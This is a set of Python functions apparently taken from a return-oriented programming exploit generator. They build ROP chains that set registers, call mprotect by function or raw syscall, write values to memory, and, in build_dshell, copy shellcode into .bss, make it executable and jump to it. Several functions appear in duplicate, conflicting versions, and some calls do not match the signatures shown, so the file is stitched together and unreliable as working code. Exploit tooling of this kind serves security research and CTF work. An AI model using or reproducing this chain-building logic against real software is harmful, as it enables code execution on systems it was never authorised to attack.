def popMultiple(args, constraint=None, assertion=None, clmax=None, optimizeLen=False): """ args is a list of pairs (reg, value) OR a list of triples (reg, value, comment) reg is a reg UID value is an int Creates a chain that pops values into regs """ if( clmax is None ): clmax = POP_MULTIPLE_LMAX elif( clmax <= 0 ): return None if( constraint is None ): constr = Constraint() else: constr = constraint if( assertion is None ): a = Assertion() else: a = assertion perms = itertools.permutations(args) for perm in perms: clmax_tmp = clmax res = ROPChain() constr_tmp = constr for arg in perm: if( len(arg) == 3 ): comment = arg[2] else: comment = None if( optimizeLen ): pop = search(QueryType.CSTtoREG, arg[0], arg[1], constr_tmp, a, n=1, clmax=clmax_tmp, CSTtoREG_comment=comment, optimizeLen=True) else: pop = search(QueryType.CSTtoREG, arg[0], arg[1], constr_tmp, a, n=1, clmax=clmax_tmp, CSTtoREG_comment=comment) if( not pop ): break else: clmax_tmp -= len(pop[0]) # If Reached max length, exit if( clmax_tmp < 0 ): pop = None break else: res.addChain(pop[0]) constr_tmp = constr_tmp.add(RegsNotModified([arg[0]])) if( pop ): return res return None
def build_mprotect64(addr, size, prot=7, constraint=None, assertion=None, clmax=SYSCALL_LMAX, optimizeLen=False): """ Call mprotect from X86-64 arch Args must be on registers (rdi, rsi, rdx): Sizes are (unsigned long, size_t, unsigned long) rax must be 10 """ # Check args if not isinstance(addr, int): error("Argument error. Expected integer, got " + str(type(addr))) return None elif not isinstance(size, int): error("Argument error. Expected integer, got " + str(type(size))) return None elif not isinstance(prot, int): error("Argument error. Expected integer, got " + str(type(prot))) return None if( constraint is None ): constraint = Constraint() if( assertion is None ): assertion = Assertion() # Check if we have the function ! verbose("Trying to call mprotect() function directly") func_call = build_call('mprotect', [addr, size, prot], constraint, assertion, clmax=clmax, optimizeLen=optimizeLen) if( not isinstance(func_call, str) ): verbose("Success") return func_call else: if( not constraint.chainable.ret ): verbose("Coudn't call mprotect(), try direct syscall") else: verbose("Couldn't call mprotect() and return to ROPChain") return None # Otherwise do the syscall by 'hand' # Set the registers args = [[Arch.n2r('rdi'),addr],[Arch.n2r('rsi'), size],[Arch.n2r('rdx'),prot], [Arch.n2r('rax'),10]] chain = popMultiple(args, constraint, assertion, clmax-1, optimizeLen) if( not chain ): verbose("Failed to set registers for the mprotect syscall") return None # Syscall syscalls = search(QueryType.SYSCALL, None, None, constraint, assertion) if( not syscalls ): verbose("Failed to find a syscall gadget") return None else: chain.addChain(syscalls[0]) verbose("Success") return chain
def build_call(funcName, funcArgs, constraint, assertion): # Find the address of the fonction (funcName2, funcAddr) = getFunctionAddress(funcName) if (funcName2 is None): return "Couldn't find function '{}' in the binary".format(funcName) # Check if bad bytes in function address if (not constraint.badBytes.verifyAddress(funcAddr)): return "'{}' address ({}) contains bad bytes".format( funcName2, string_special('0x' + format(funcAddr, '0' + str(Arch.octets() * 2) + 'x'))) # Find a gadget for the fake return address offset = len( funcArgs) * 8 - 8 # Because we do +8 at the beginning of the loop skip_args_chains = [] i = 4 while (i > 0 and (not skip_args_chains)): offset += 8 skip_args_chains = search(QueryType.MEMtoREG, Arch.ipNum(), \ (Arch.spNum(),offset), constraint, assertion, n=1) i -= 1 if (not skip_args_chains): return "Couldn't build ROP-Chain" skip_args_chain = skip_args_chains[0] # Build the ropchain with the arguments args_chain = ROPChain() arg_n = len(funcArgs) for arg in reversed(funcArgs): if (isinstance(arg, int)): args_chain.addPadding(arg, comment="Arg{}: {}".format( arg_n, string_ropg(hex(arg)))) arg_n -= 1 else: return "Type of argument '{}' not supported yet :'(".format(arg) # Build call chain (function address + fake return address) call_chain = ROPChain() call_chain.addPadding(funcAddr, comment=string_ropg(funcName2)) skip_args_addr = int( validAddrStr(skip_args_chain.chain[0], constraint.getBadBytes(), Arch.bits()), 16) call_chain.addPadding(skip_args_addr, comment="Address of: " + string_bold(str(skip_args_chain.chain[0]))) return call_chain.addChain(args_chain)
def build_call_linux86(funcName, funcArgs, constraint, assertion, clmax=None, optimizeLen=False): # Find the address of the fonction (funcName2, funcAddr) = getFunctionAddress(funcName) if( funcName2 is None ): return "Couldn't find function '{}' in the binary".format(funcName) # Check if bad bytes in function address if( not constraint.badBytes.verifyAddress(funcAddr) ): return "'{}' address ({}) contains bad bytes".format(funcName2, string_special('0x'+format(funcAddr, '0'+str(Arch.octets()*2)+'x'))) # Check if lmax too small if( (1 + len(funcArgs) + (lambda x: 1 if len(x)>0 else 0)(funcArgs)) > clmax ): return "Not enough bytes to call function '{}'".format(funcName) # Find a gadget for the fake return address if( funcArgs ): offset = (len(funcArgs)-1)*Arch.octets() # Because we do +octets() at the beginning of the loop skip_args_chains = [] i = 4 # Try 4 more maximum while( i > 0 and (not skip_args_chains)): offset += Arch.octets() skip_args_chains = search(QueryType.MEMtoREG, Arch.ipNum(), \ (Arch.spNum(),offset), constraint, assertion, n=1, optimizeLen=optimizeLen) i -= 1 if( not skip_args_chains ): return "Couldn't build ROP-Chain" skip_args_chain = skip_args_chains[0] else: # No arguments skip_args_chain = None # Build the ropchain with the arguments args_chain = ROPChain() arg_n = len(funcArgs) for arg in reversed(funcArgs): if( isinstance(arg, int) ): args_chain.addPadding(arg, comment="Arg{}: {}".format(arg_n, string_ropg(hex(arg)))) arg_n -= 1 else: return "Type of argument '{}' not supported yet :'(".format(arg) # Build call chain (function address + fake return address) call_chain = ROPChain() call_chain.addPadding(funcAddr, comment=string_ropg(funcName2)) if( funcArgs ): skip_args_addr = int( validAddrStr(skip_args_chain.chain[0], constraint.getBadBytes(), Arch.bits()) ,16) call_chain.addPadding(skip_args_addr, comment="Address of: "+string_bold(str(skip_args_chain.chain[0]))) return call_chain.addChain(args_chain)
def find(args): """ args - List of user arguments as strings (the command should not be included in the list as args[0]) """ if (not args): print_help() return if (args[0] == OPTION_HELP or args[0] == OPTION_HELP_SHORT): print_help() return parsed_args = parse_args(args) if (not parsed_args[0]): error(parsed_args[1]) else: qtype = parsed_args[1] arg1 = parsed_args[2] arg2 = parsed_args[3] constraint = parsed_args[4] nbResults = parsed_args[5] clmax = parsed_args[6] assertion = Assertion().add(\ RegsValidPtrRead([(Arch.spNum(),-5000, 10000)])).add(\ RegsValidPtrWrite([(Arch.spNum(), -5000, 0)])) # Search res = search(qtype, arg1, arg2, constraint, assertion, n=nbResults, clmax=clmax) if (res): print_chains(res, "Built matching ROPChain(s)", constraint.getBadBytes()) else: res = search_not_chainable(qtype, arg1, arg2, constraint, assertion, n=nbResults, clmax=clmax) print_chains(res, "Possibly matching gadget(s)", constraint.getBadBytes())
def find(args): """ args - List of user arguments as strings (the command should not be included in the list as args[0]) """ if (not args): print_help() return if (args[0] == OPTION_HELP or args[0] == OPTION_HELP_SHORT): print_help() return parsed_args = parse_args(args) if (not parsed_args[0]): error(parsed_args[1]) else: qtype = parsed_args[1] arg1 = parsed_args[2] arg2 = parsed_args[3] constraint = parsed_args[4] nbResults = parsed_args[5] clmax = parsed_args[6] optimizeLen = parsed_args[7] assertion = getBaseAssertion() # Search res = search(qtype, arg1, arg2, constraint, assertion, n=nbResults, clmax=clmax, optimizeLen=optimizeLen) if (res): print_chains(res, "Built matching ROPChain(s)", constraint.getBadBytes()) else: res = search_not_chainable(qtype, arg1, arg2, constraint, assertion, n=nbResults, clmax=clmax) print_chains(res, "Possibly matching gadget(s)", constraint.getBadBytes())
def build_mprotect64(addr, size, prot=7, constraint=None, assertion=None, clmax=None, optimizeLen=False): """ Call mprotect from X86-64 arch Args must be on registers (rdi, rsi, rdx): Sizes are (unsigned long, size_t, unsigned long) rax must be 10 """ # Check args if not isinstance(addr, int): error("Argument error. Expected integer, got " + str(type(addr))) return None elif not isinstance(size, int): error("Argument error. Expected integer, got " + str(type(size))) return None elif not isinstance(prot, int): error("Argument error. Expected integer, got " + str(type(prot))) return None if (constraint is None): constraint = Constraint() if (assertion is None): assertion = Assertion() # Set the registers args = [[Arch.n2r('rdi'), addr], [Arch.n2r('rsi'), size], [Arch.n2r('rdx'), prot], [Arch.n2r('rax'), 10]] chain = popMultiple(args, constraint, assertion, clmax - 1, optimizeLen) if (not chain): verbose("Failed to set registers for the mprotect syscall") return None # Syscall syscalls = search(QueryType.SYSCALL, None, None, constraint, assertion) if (not syscalls): verbose("Failed to find a syscall gadget") return None else: chain.addChain(syscalls[0]) verbose("Success") return chain
def build_mprotect32(addr, size, prot=7, constraint=None, assertion = None, clmax=None, optimizeLen=False): """ Call mprotect from X86 arch Args must be on the stack: int mprotect(void *addr, size_t len, int prot) args must be in registers (ebx, ecx, edx) eax must be 0x7d = 125 """ # Check args if not isinstance(addr, int): error("Argument error. Expected integer, got " + str(type(addr))) return None elif not isinstance(size, int): error("Argument error. Expected integer, got " + str(type(size))) return None elif not isinstance(prot, int): error("Argument error. Expected integer, got " + str(type(prot))) return None if( constraint is None ): constraint = Constraint() if( assertion is None ): assertion = Assertion() # Set the registers args = [[Arch.n2r('eax'),0x7d],[Arch.n2r('ebx'), addr],[Arch.n2r('ecx'),size], [Arch.n2r('edx'),prot]] chain = popMultiple(args, constraint, assertion, clmax-1, optimizeLen) if( not chain ): verbose("Failed to set registers for the mprotect syscall") return None # Int 0x80 int80_gadgets = search(QueryType.INT80, None, None, constraint, assertion) if( not int80_gadgets ): verbose("Failed to find an 'int 80' gadget") return None else: chain.addChain(int80_gadgets[0]) verbose("Success") return chain
def build_dshell(shellcode, constraint, assertion, address, limit, lmax): """ Returns a PwnChain() instance or None """ # Build exploit ################# res = PwnChain() #Find address for the payload if (not address): # Get the .bss address # TODO notify("Getting delivery address for shellcode") address = getSectionAddress('.bss') addr_str = ".bss" if (not address): verbose("Couldn't find .bss address") return [] else: addr_str = hex(address) if (not limit): limit = address + Arch.minPageSize() # Deliver shellcode notify("Building chain to copy shellcode in memory") verbose("{}/{} bytes available".format(lmax * Arch.octets(), lmax * Arch.octets())) (shellcode_address, STRtoMEM_chain) = STRtoMEM(shellcode, address, constraint, assertion, limit=limit, lmax=lmax, addr_str=addr_str, hex_info=True, optimizeLen=True) address = shellcode_address addr_str = hex(address) if (not STRtoMEM_chain): verbose("Could not copy shellcode into memory") return None # Building mprotect notify("Building mprotect() chain") # Getting page to make executable # Arg of mprotect MUST be a valid multiple of page size over_page_size = address % Arch.minPageSize() page_address = address - over_page_size length = len(shellcode) + 1 + over_page_size flag = 7 lmax2 = lmax - len(STRtoMEM_chain) verbose("{}/{} bytes available".format(lmax2 * Arch.octets(), lmax * Arch.octets())) if (lmax2 <= 0): return None if (Arch.currentArch == Arch.ArchX86): mprotect_chain = build_mprotect32(page_address, length, flag, constraint.add(Chainable(ret=True)), assertion, clmax=lmax2 - 2, optimizeLen=True) elif (Arch.currentArch == Arch.ArchX64): mprotect_chain = build_mprotect64(page_address, length, flag, constraint.add(Chainable(ret=True)), assertion, clmax=lmax2 - 2, optimizeLen=True) else: mprotect_chain = None verbose("mprotect call not supported for architecture {}".format( Arch.currentArch.name)) return None if (not mprotect_chain): return None verbose("Done") # Jump to shellcode notify("Searching chain to jump to shellcode") verbose("{}/{} bytes available".format( (lmax2 - len(mprotect_chain)) * Arch.octets(), lmax * Arch.octets())) jmp_shellcode_chains = search(QueryType.CSTtoREG, Arch.ipNum(), address, constraint, assertion, clmax=lmax - len(STRtoMEM_chain) - len(mprotect_chain), optimizeLen=True) if (not jmp_shellcode_chains): verbose("Couldn't find a jump to the shellcode") return None verbose("Done") notify("Done") # Build PwnChain res and return res.add(mprotect_chain, "Call mprotect({},{},{})".format(hex(page_address), length, flag)) res.add(STRtoMEM_chain, "Copy shellcode to {}".format(addr_str)) res.add(jmp_shellcode_chains[0], "Jump to shellcode (address {})".format(addr_str)) return res
def store_constant_address(qtype, cst_addr, value, constraint=None, assertion=None, clmax=None, optimizeLen=False): """ Does a XXXtoMEM kind of query BUT the memory address is a simple constant ! Expected qtypes are only XXXtoMEM cst_addr is the store address value is the value to store, a single cst or a couple (reg,cst) """ if (clmax is None): clmax = STORE_CONSTANT_ADDRESS_LMAX elif (clmax <= 0): return None if (constraint is None): constr = Constraint() else: constr = constraint if (assertion is None): a = Assertion() else: a = assertion # Tranform the query type if (qtype == QueryType.CSTtoMEM): qtype2 = QueryType.CSTtoREG elif (qtype == QueryType.REGtoMEM): qtype2 = QueryType.REGtoREG elif (qtype == QueryType.MEMtoREG): qtype2 = QueryType.MEMtoREG else: raise Exception( "Query type {} should not appear in this function!".format(qtype)) tried_values = [] tried_cst_addr = [] best = None # If optimizeLen shortest = clmax # Shortest ROPChain found if optimizeLen ;) for ((addr_reg, addr_cst), (reg,cst), gadget) in \ sorted(DBAllPossibleWrites(constr.add(Chainable(ret=True)), a), \ key=lambda x: 0 if (x[1] == value) else 1) : # DOn't use rip or rsp... if( reg == Arch.ipNum() or reg == Arch.spNum()\ or addr_reg == Arch.ipNum() or addr_reg == Arch.spNum()): continue res = None # Check if directly the registers we want to write ;) value_is_reg = False value_to_reg = [] addr_to_reg = [] if ((reg, cst) == value): value_to_reg = [ROPChain()] value_is_reg = True # adapt value if (not isinstance(value, tuple)): adjusted_value = value - cst else: adjusted_value = (value[0], value[1] - cst) adjusted_cst_addr = cst_addr - addr_cst # Get spInc gadget_paddingLen = (gadget.spInc / Arch.octets()) - 1 # Check if tried before if ((reg, cst) in tried_values): continue elif ((addr_reg, addr_cst) in tried_cst_addr): continue ### Try to do reg first then addr_reg # Try to put the value into reg clmax2 = shortest - gadget_paddingLen - 1 if (not value_is_reg): value_to_reg = search(qtype2, reg, adjusted_value, constr, a, clmax=clmax2, n=1, optimizeLen=optimizeLen) if (not value_to_reg): tried_values.append((reg, cst)) continue else: clmax2 = clmax2 - len(value_to_reg[0]) # Try to put the cst_addr in addr_reg addr_to_reg = search(QueryType.CSTtoREG, addr_reg, adjusted_cst_addr, constr.add(RegsNotModified([reg])), a, clmax=clmax2, n=1, optimizeLen=optimizeLen) if (addr_to_reg): # If we found a solution # Combine them and return # Padd the gadget res = value_to_reg[0].addChain(addr_to_reg[0]).addGadget(gadget) if (gadget.spInc > 0): padding_value = constr.getValidPadding(Arch.octets()) res = res.addPadding(padding_value, n=(gadget.spInc / Arch.octets()) - 1) if (optimizeLen): if (best): best = min(best, res) else: best = res shortest = len(best) else: return res ### Try to do addr_reg first and then reg clmax2 = shortest - gadget_paddingLen - 1 # Try to put the cst_addr in addr_reg addr_to_reg = search(QueryType.CSTtoREG, addr_reg, adjusted_cst_addr, constr, a, clmax=clmax2, n=1, optimizeLen=optimizeLen) if (not addr_to_reg): tried_cst_addr.append((addr_reg, addr_cst)) continue else: clmax2 = clmax2 - len(addr_to_reg[0]) # Try to put the value into reg if (not value_is_reg): value_to_reg = search(qtype2, reg, adjusted_value, constr.add(RegsNotModified([addr_reg])), a, clmax=clmax2, n=1, optimizeLen=optimizeLen) if (value_to_reg): # If we found a solution # Combine them and return # Padd the gadget res = addr_to_reg[0].addChain(value_to_reg[0]).addGadget(gadget) if (gadget.spInc > 0): padding_value = constr.getValidPadding(Arch.octets()) res = res.addPadding(padding_value, n=(gadget.spInc / Arch.octets()) - 1) if (optimizeLen): if (best): best = min(best, res) else: best = res shortest = len(best) else: return res # 5 = two pops for addr_reg and reg + 1 for the write gadget # So since 5 is the shortest possible with two pops we can return # We can have < 5 if reg is already equal to 'value' argument # But we try this case first (see sorted()) when getting possibleWrites ;) if (((not optimizeLen) or (not value_is_reg)) and (not best is None) and len(best) <= 5): return best elif (optimizeLen and (not best is None) and len(best) <= 3): return best return best
def build_mprotect32(addr, size, prot=7, constraint=None, assertion=None, clmax=SYSCALL_LMAX, optimizeLen=False): """ Call mprotect from X86 arch Args must be on the stack: int mprotect(void *addr, size_t len, int prot) args must be in registers (ebx, ecx, edx) eax must be 0x7d = 125 """ # Check args if not isinstance(addr, int): error("Argument error. Expected integer, got " + str(type(addr))) return None elif not isinstance(size, int): error("Argument error. Expected integer, got " + str(type(size))) return None elif not isinstance(prot, int): error("Argument error. Expected integer, got " + str(type(prot))) return None if (constraint is None): constraint = Constraint() if (assertion is None): assertion = Assertion() # Check if we have the function ! verbose("Trying to call mprotect() function directly") func_call = build_call('mprotect', [addr, size, prot], constraint, assertion, clmax=clmax, optimizeLen=optimizeLen) if (not isinstance(func_call, str)): verbose("Success") return func_call else: if (not constraint.chainable.ret): verbose("Coudn't call mprotect(), try direct syscall") else: verbose("Couldn't call mprotect() and return to ROPChain") return None # Otherwise do syscall directly # Set the registers args = [[Arch.n2r('eax'), 0x7d], [Arch.n2r('ebx'), addr], [Arch.n2r('ecx'), size], [Arch.n2r('edx'), prot]] chain = popMultiple(args, constraint, assertion, clmax - 1, optimizeLen) if (not chain): verbose("Failed to set registers for the mprotect syscall") return None # Int 0x80 int80_gadgets = search(QueryType.INT80, None, None, constraint, assertion) if (not int80_gadgets): verbose("Failed to find an 'int 80' gadget") return None else: chain.addChain(int80_gadgets[0]) verbose("Success") return chain
def build_syscall_Linux(syscall, arg_list, arch_bits, constraint=None, assertion=None, clmax=SYSCALL_LMAX, optimizeLen=False): """ arch_bits = 32 or 64 :) """ # Check args if (syscall.nb_args() != len(arg_list)): error("Error. Expected {} arguments, got {}".format( len(syscall.arg_types), len(arg_list))) return None # Check args length for i in range(0, len(arg_list)): if (not verifyArgType(arg_list[i], syscall.arg_types[i])): error("Argument error for '{}': expected '{}', got '{}'".format( arg_list[i], syscall.arg_types[i], type(arg_list[i]))) return None # Check constraint and assertion if (constraint is None): constraint = Constraint() if (assertion is None): assertion = getBaseAssertion() # Check if we have the function ! verbose("Trying to call {}() function directly".format(syscall.def_name)) func_call = build_call(syscall.function(), arg_list, constraint, assertion, clmax=clmax, optimizeLen=optimizeLen) if (not isinstance(func_call, str)): verbose("Success") return func_call else: if (not constraint.chainable.ret): verbose("Coudn't call {}(), try direct syscall".format( syscall.def_name)) else: verbose("Couldn't call {}() and return to ROPChain".format( syscall.def_name)) return None # Otherwise do syscall directly # Set the registers args = [(Arch.n2r(x[0]), x[1]) for x in zip(syscall.arg_regs, arg_list) + syscall.syscall_arg_regs ] chain = popMultiple(args, constraint, assertion, clmax - 1, optimizeLen=optimizeLen) if (not chain): verbose("Failed to set registers for the mprotect syscall") return None # Int 0x80 if (arch_bits == 32): syscall_gadgets = search(QueryType.INT80, None, None, constraint, assertion) # syscall elif (arch_bits == 64): syscall_gadgets = search(QueryType.SYSCALL, None, None, constraint, assertion) if (not syscall_gadgets): verbose("Failed to find an 'int 0x80' OR 'syscall' gadget") return None else: chain.addChain(syscall_gadgets[0]) verbose("Success") return chain
def popMultiple(args, constraint=None, assertion=None, clmax=None, addr=None, limit=None, optimizeLen=False): """ args is a list of pairs (reg, value) OR a list of triples (reg, value, comment) reg is a reg UID value is an int OR a string addr and limit are used to put strings if args contains strings Creates a chain that pops values into regs """ if (clmax is None): clmax = POP_MULTIPLE_LMAX_PER_REG * len(args) elif (clmax <= 0): return None for arg in args: if (isinstance(arg, str)): clmax += STR_TO_MEM_LMAX if (constraint is None): constr = Constraint() else: constr = constraint if (assertion is None): a = Assertion() else: a = assertion # Get address #Find address for the payload if (not addr): # Get the .bss address addr = getSectionAddress('.bss') if (not addr): return None perms = itertools.permutations(args) for perm in perms: clmax_tmp = clmax res = ROPChain() constr_tmp = constr tmp_addr = addr chains = None for arg in perm: if (len(arg) == 3): comment = arg[2] else: comment = None if (isinstance(arg[1], int)): chains = search(QueryType.CSTtoREG, arg[0], arg[1], constr_tmp, a, n=1, clmax=clmax_tmp, CSTtoREG_comment=comment, optimizeLen=optimizeLen) elif (isinstance(arg[1], str)): (address, str_to_mem) = STRtoMEM(arg[1], tmp_addr, constr_tmp, a, limit=limit, lmax=clmax_tmp, addr_str=comment, hex_info=True, optimizeLen=optimizeLen) if (not str_to_mem): break tmp_addr = address + len(arg) pop = search(QueryType.CSTtoREG, arg[0], address, constr_tmp, a, n=1, clmax=clmax_tmp - len(str_to_mem), optimizeLen=optimizeLen) if (not pop): break chains = [str_to_mem.addChain(pop[0])] else: raise Exception( "UNknown argument type in popMultiple: '{}'".format( type(arg))) if (not chains): break else: clmax_tmp -= len(chains[0]) # If Reached max length, exit if (clmax_tmp < 0): chains = None break else: res.addChain(chains[0]) constr_tmp = constr_tmp.add(RegsNotModified([arg[0]])) if (chains): return res return None